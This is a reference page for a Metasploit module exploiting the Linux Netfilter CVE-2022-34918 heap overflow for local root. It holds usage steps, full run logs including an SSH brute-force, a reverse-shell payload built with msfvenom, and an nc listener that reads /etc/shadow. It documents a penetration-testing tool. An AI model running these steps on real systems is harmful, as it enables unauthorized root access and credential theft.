Netfilter nft_set_elem_init Heap Overflow Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/netfilter_nft_set_elem_init_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Netfilter nft_set_elem_init Heap Overflow Privilege Escalation
Module: exploit/linux/local/netfilter_nft_set_elem_init_privesc
Source code: modules/exploits/linux/local/netfilter_nft_set_elem_init_privesc.rb
Disclosure date: 2022-02-07
Last modification time: 2022-09-30 09:57:54 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-34918
An issue was discovered in the Linux kernel through 5.18.9. A type confusion bug in nft_set_elem_init (leading to a buffer overflow) could be used by a local attacker to escalate privileges. The attacker can obtain root access, but must start with an unprivileged user namespace to obtain CAP_NET_ADMIN access. The issue exists in nft_setelem_parse_data in net/netfilter/nf_tables_api.c.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- os-resource-loss: Modules may cause a resource (such as a file) to be unavailable for the OS.
- crash-os-down: Module may crash the OS, and the OS remains down.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/netfilter_nft_set_elem_init_privesc
msf exploit(netfilter_nft_set_elem_init_privesc) > show targets
... a list of targets ...
msf exploit(netfilter_nft_set_elem_init_privesc) > set TARGET target-id
msf exploit(netfilter_nft_set_elem_init_privesc) > show options
... show and set options ...
msf exploit(netfilter_nft_set_elem_init_privesc) > set SESSION session-id
msf exploit(netfilter_nft_set_elem_init_privesc) > exploit
Required Options
- SESSION: The session to run this module on
Knowledge Base
Vulnerable Application
This module exploits a vulnerability in Netfilter, the Linux Kernel component that implements firewall capabilities in Linux. The vulnerability is a type-confusion bug that leads to a heap overflow in kernel memory. The exploit relies on spraying, it may fail, or crash the target system.
Install
The vulnerability exists in linux kernel versions from 5.8-rc1 up to v5.19-rc5.
this module contains offsets for some vulnerable Ubuntu versions.
Install Ubuntu 22.04 LTS with a vulnerable kernel version.
apt-get install linux-image-5.15.0-25-generic
Hold shift when you reboot and select the proper kernel version
Verification Steps
- Make an Ubuntu target.
- Create a Meterpreter or shell payload and upload it to the Ubuntu target. Or setup openssh-server, and use the corresponding auxiliary module.
- Get a session
- Do:
use exploit/linux/local/netfilter_nft_set_elem_init_privesc - Do:
set session <session_id> - Do:
set payload <payload> - Do:
set lhost <ip> - Do:
set [r|l]port <port> - Do:
run - You should get a new session as the
rootuser. - If it fails, retry, or reboot Ubuntu and retry.
Options
COMPILE
[Auto|True|False] This selects the binary to use. True will cause the module to upload the source
code and perform compilation on target, False will cause the module to upload a precompiled binary.
Auto will cause the module to try compiling the exploit on the target but will fall back to the
precompiled option if a compiler cannot be found.
WritableDir
This indicates the location where you would like the payload and exploit binary stored.
The default value is /tmp
Due to the exploitation strategy that this module relies on, /tmp must be writable, even if
WritableDir is a different directory. modprobe_path gets overwritten with a path to a file
in /tmp. This file is a bash script that adds the setuid bit to the payload uploaded at
WritableDir.
Scenarios
Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.40
rhosts => 192.168.0.40
msf6 auxiliary(scanner/ssh/ssh_login) > set username redouane
username => redouane
msf6 auxiliary(scanner/ssh/ssh_login) > set password user
password => user
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.0.40:22 - Starting bruteforce
[+] 192.168.0.40:22 - Success: 'redouane:user' 'uid=1000(redouane) gid=1000(redouane) groupes=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux hopeful-zhukovky 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.0.32:46499 -> 192.168.0.40:22) at 2022-07-22 02:44:56 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/netfilter_nft_set_elem_init_privesc
[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set lhost wlan0
lhost => wlan0
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set session 1
session => 1
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture:
[*] Started reverse TCP handler on 192.168.0.32:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled binaries to system...
[*] Writing '/tmp/z9G2XJ' (761240 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/AsfKz' (248 bytes) ...
[*] Running payload on remote system...
[+] Deleted /tmp/z9G2XJ
[+] Deleted /tmp/AsfKz
[*] Command shell session 2 opened (192.168.0.32:4444 -> 192.168.0.40:35956) at 2022-07-22 02:45:54 +0200
id
[*] Payload executed! If it was successful, a session should have been created
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)
Notes
Included Binaries
The binary used by this exploit data/exploits/CVE-2022-34918/ubuntu.elf can be used separately from
Metasploit. The binary takes a single argument which is the payload or executable you wish to launch as root.
The exploit adds the setuid bit to the payload, the path given must be absolute, avoid binaries that don't run when the setuid bit is detected.
Also, the exploit process forks, gets its child to execute the setuid payload binary, and exits
(it doesn't call wait or waitpid). For this reason, don't expect the binary to read input from standard input.
The following snippet shows an example of how one might run a payload to get
a new Bash shell as the root user.
redouane@wizardly-maxwell:~$ id
uid=1000(redouane) gid=1000(redouane) groups=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
redouane@wizardly-maxwell:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 PrependSetresuid=true PrependSetresgid=true -f elf -o payload
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 96 bytes
Final size of elf file: 216 bytes
Saved as: payload
redouane@wizardly-maxwell:~$ chmod +x payload
redouane@wizardly-maxwell:~$ (echo id; head -n 2 /etc/shadow) | nc -lvvp1337 &
[1] 2272
redouane@wizardly-maxwell:~$ Listening on 0.0.0.0 1337
redouane@wizardly-maxwell:~$ ./ubuntu.elf /home/redouane/payload
[+] kernel version '5.15.0-25-generic #25-Ubuntu' detected
[+] Second process currently waiting
[+] Get CAP_NET_ADMIN capability
[+] Netlink socket created
[+] Netlink socket bound
[+] Table table created
[+] Set for the leak created
[+] Set for write primitive created
[*] Leak in process
[+] Leak succeed
[+] kaslr base found 0xffffffff9f000000
[+] physmap base found 0xffff910a00000000
[+] modprobe path changed !
[+] Modprobe payload setup
[?] waitpid
[?] sem_post
[+++] Got root shell, should exit?
Connection received on localhost 56962
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)
root:!:19193:0:99999:7:::
daemon:*:19101:0:99999:7:::
Go back to menu.
Msfconsole Usage
Here is how the linux/local/netfilter_nft_set_elem_init_privesc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/netfilter_nft_set_elem_init_privesc
[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show info
Name: Netfilter nft_set_elem_init Heap Overflow Privilege Escalation
Module: exploit/linux/local/netfilter_nft_set_elem_init_privesc
Platform: Linux
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2022-02-07
Provided by:
Arthur Mongodin <amongodin <Arthur Mongodin <[email protected]> (@_Aleknight_)>
Redouane NIBOUCHA <[email protected]>
Module side effects:
artifacts-on-disk
Module stability:
os-resource-loss
crash-os-down
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAX_TRIES 5 yes Number of times to execute the exploit
SESSION yes The session to run this module on
Payload information:
Description:
An issue was discovered in the Linux kernel through 5.18.9. A type
confusion bug in nft_set_elem_init (leading to a buffer overflow)
could be used by a local attacker to escalate privileges. The
attacker can obtain root access, but must start with an unprivileged
user namespace to obtain CAP_NET_ADMIN access. The issue exists in
nft_setelem_parse_data in net/netfilter/nf_tables_api.c.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-34918
https://nvd.nist.gov/vuln/detail/CVE-2022-34918
https://ubuntu.com/security/CVE-2022-34918
https://www.randorisec.fr/crack-linux-firewall/
https://github.com/randorisec/CVE-2022-34918-LPE-PoC
Module Options
This is a complete list of options available in the linux/local/netfilter_nft_set_elem_init_privesc exploit:
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show options
Module options (exploit/linux/local/netfilter_nft_set_elem_init_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAX_TRIES 5 yes Number of times to execute the exploit
SESSION yes The session to run this module on
Payload options (linux/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/netfilter_nft_set_elem_init_privesc exploit:
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show advanced
Module advanced options (exploit/linux/local/netfilter_nft_set_elem_init_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 30 no Additional delay in seconds to wait for a session
WritableDir /tmp yes Directory to write persistent payload file.
Payload advanced options (linux/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid true no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid true no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy b
ut directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/netfilter_nft_set_elem_init_privesc module can exploit:
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/netfilter_nft_set_elem_init_privesc exploit:
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/generic/ssh/interact normal No Interact with Established SSH Connection
4 payload/linux/x64/exec normal No Linux Execute Command
5 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
6 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
7 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
8 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
9 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
10 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
11 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
12 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
13 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
14 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
15 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
16 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
17 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
18 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/netfilter_nft_set_elem_init_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- <FULL_PATH_HOST> doesn't look like a file or a directory
- make command not available on the target
- Compilation has failed (executable not found)
- Exploit has failed
- Error parsing the list of supported kernels.
- No offsets for '<VERSION>'
- <BASE_DIR> is not writable.
- /tmp is not writable.
- Session already has root privileges.
- Could not retrieve kernel config
- Kernel config does not include CONFIG_USER_NS
- Unprivileged user namespaces are not permitted
- LKRG is installed
- System architecture <ARCH> is not supported
- The kernel <VERSION> appears to be vulnerable, but no offsets are available for this version
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<FULL_PATH_HOST> doesn't look like a file or a directory
Here is a relevant code snippet related to the "<FULL_PATH_HOST> doesn't look like a file or a directory" error message:
113: elsif File.directory?(full_path_host)
114: vprint_status("Creating the directory #{full_path_target}")
115: mkdir(full_path_target)
116: dirs.push(relative_path)
117: else
118: print_error("#{full_path_host} doesn't look like a file or a directory")
119: end
120: end
121: end
122: end
123:
make command not available on the target
Here is a relevant code snippet related to the "make command not available on the target" error message:
120: end
121: end
122: end
123:
124: def compile_source
125: fail_with(Failure::BadConfig, 'make command not available on the target') unless command_exists?('make')
126: info = cmd_exec("make -C #{@exploit_source_path}")
127: vprint_status(info)
128: @executable_path = ::File.join(@exploit_source_path, 'ubuntu.elf')
129: if exists?(@executable_path)
130: chmod(@executable_path, 0o700) unless executable?(@executable_path)
Compilation has failed (executable not found)
Here is a relevant code snippet related to the "Compilation has failed (executable not found)" error message:
128: @executable_path = ::File.join(@exploit_source_path, 'ubuntu.elf')
129: if exists?(@executable_path)
130: chmod(@executable_path, 0o700) unless executable?(@executable_path)
131: print_good('Compilation was successful')
132: else
133: fail_with(Failure::UnexpectedReply, 'Compilation has failed (executable not found)')
134: end
135: end
136:
137: def run_payload
138: success = false
Exploit has failed
Here is a relevant code snippet related to the "Exploit has failed" error message:
149: sleep 3
150: end
151: if success
152: print_good('A session has been created')
153: else
154: print_bad('Exploit has failed')
155: end
156: end
157:
158: def get_external_source_code(cve, file)
159: file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")
Error parsing the list of supported kernels.
Here is a relevant code snippet related to the "Error parsing the list of supported kernels." error message:
164: release = kernel_release
165: version = "#{release} #{kernel_version.split(' ').first}"
166: ubuntu_offsets = strip_comments(get_external_source_code('CVE-2022-34918', 'src/util.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
167: ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
168: if ubuntu_kernels.empty?
169: fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170: end
171: fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:
173: fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174: fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
No offsets for '<VERSION>'
Here is a relevant code snippet related to the "No offsets for '<VERSION>'" error message:
166: ubuntu_offsets = strip_comments(get_external_source_code('CVE-2022-34918', 'src/util.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
167: ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
168: if ubuntu_kernels.empty?
169: fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170: end
171: fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:
173: fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174: fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:
176: if is_root?
<BASE_DIR> is not writable.
Here is a relevant code snippet related to the "<BASE_DIR> is not writable." error message:
168: if ubuntu_kernels.empty?
169: fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170: end
171: fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:
173: fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174: fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:
176: if is_root?
177: fail_with(Failure::BadConfig, 'Session already has root privileges.')
178: end
/tmp is not writable.
Here is a relevant code snippet related to the "/tmp is not writable." error message:
169: fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
170: end
171: fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
172:
173: fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174: fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:
176: if is_root?
177: fail_with(Failure::BadConfig, 'Session already has root privileges.')
178: end
179: end
Session already has root privileges.
Here is a relevant code snippet related to the "Session already has root privileges." error message:
172:
173: fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
174: fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
175:
176: if is_root?
177: fail_with(Failure::BadConfig, 'Session already has root privileges.')
178: end
179: end
180:
181: def check
182: config = kernel_config
Could not retrieve kernel config
Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:
179: end
180:
181: def check
182: config = kernel_config
183:
184: return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
185:
186: return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:
188: return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:
Kernel config does not include CONFIG_USER_NS
Here is a relevant code snippet related to the "Kernel config does not include CONFIG_USER_NS" error message:
181: def check
182: config = kernel_config
183:
184: return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
185:
186: return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:
188: return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:
190: return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:
Unprivileged user namespaces are not permitted
Here is a relevant code snippet related to the "Unprivileged user namespaces are not permitted" error message:
183:
184: return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
185:
186: return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:
188: return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:
190: return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:
192: arch = kernel_hardware
193:
LKRG is installed
Here is a relevant code snippet related to the "LKRG is installed" error message:
185:
186: return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
187:
188: return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
189:
190: return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:
192: arch = kernel_hardware
193:
194: return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64')
195:
System architecture <ARCH> is not supported
Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:
189:
190: return CheckCode::Safe('LKRG is installed') if lkrg_installed?
191:
192: arch = kernel_hardware
193:
194: return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64')
195:
196: release = kernel_release
197:
198: version, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures
199: if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i)
The kernel <VERSION> appears to be vulnerable, but no offsets are available for this version
Here is a relevant code snippet related to the "The kernel <VERSION> appears to be vulnerable, but no offsets are available for this version" error message:
195:
196: release = kernel_release
197:
198: version, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures
199: if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i)
200: return CheckCode::Appears # ("The kernel #{version} appears to be vulnerable, but no offsets are available for this version")
201: end
202:
203: CheckCode::Safe
204: end
205:
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Related Pull Requests
- #16982 Merged Pull Request: Update Dell iDRAC login scanner to work with v8 and v9
- #17032 Merged Pull Request: Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814
- #17116 Merged Pull Request: Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
- #17092 Merged Pull Request: netlm_downgrade: Cleanup and support non-Meterpreter sessions
- #16987 Merged Pull Request: guard for all possible RubySMBError conditions
- #17123 Merged Pull Request: netrc and fetchmailrc docs
- #17057 Merged Pull Request: Msf::Post::Windows::ExtAPI: Remove load_extapi method
References
- CVE-2022-34918
- https://nvd.nist.gov/vuln/detail/CVE-2022-34918
- https://ubuntu.com/security/CVE-2022-34918
- https://www.randorisec.fr/crack-linux-firewall/
- https://github.com/randorisec/CVE-2022-34918-LPE-PoC
See Also
Check also the following modules related to this module:
- exploit/linux/local/netfilter_priv_esc_ipv4
- exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
- exploit/linux/local/ueb_bpserverd_privesc
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/openbsd/local/dynamic_loader_chpass_privesc
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/windows/local/appxsvc_hard_link_privesc
- exploit/windows/local/canon_driver_privesc
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/lexmark_driver_privesc
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms18_8120_win32k_privesc
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/ricoh_driver_privesc
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/oracle/oracle_index_privesc
- exploit/unix/webapp/openemr_sqli_privesc_upload
- payload/cmd/mainframe/apf_privesc_jcl
- exploit/linux/local/af_packet_packet_set_ring_priv_esc
- exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
- exploit/linux/http/netgear_dgn1000b_setup_exec
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/webcalendar_settings_exec
- exploit/linux/samba/setinfopolicy_heap
Authors
- Arthur Mongodin <amongodin[at]randorisec.fr> (@Aleknight)
- Redouane NIBOUCHA <rniboucha[at]yahoo.fr>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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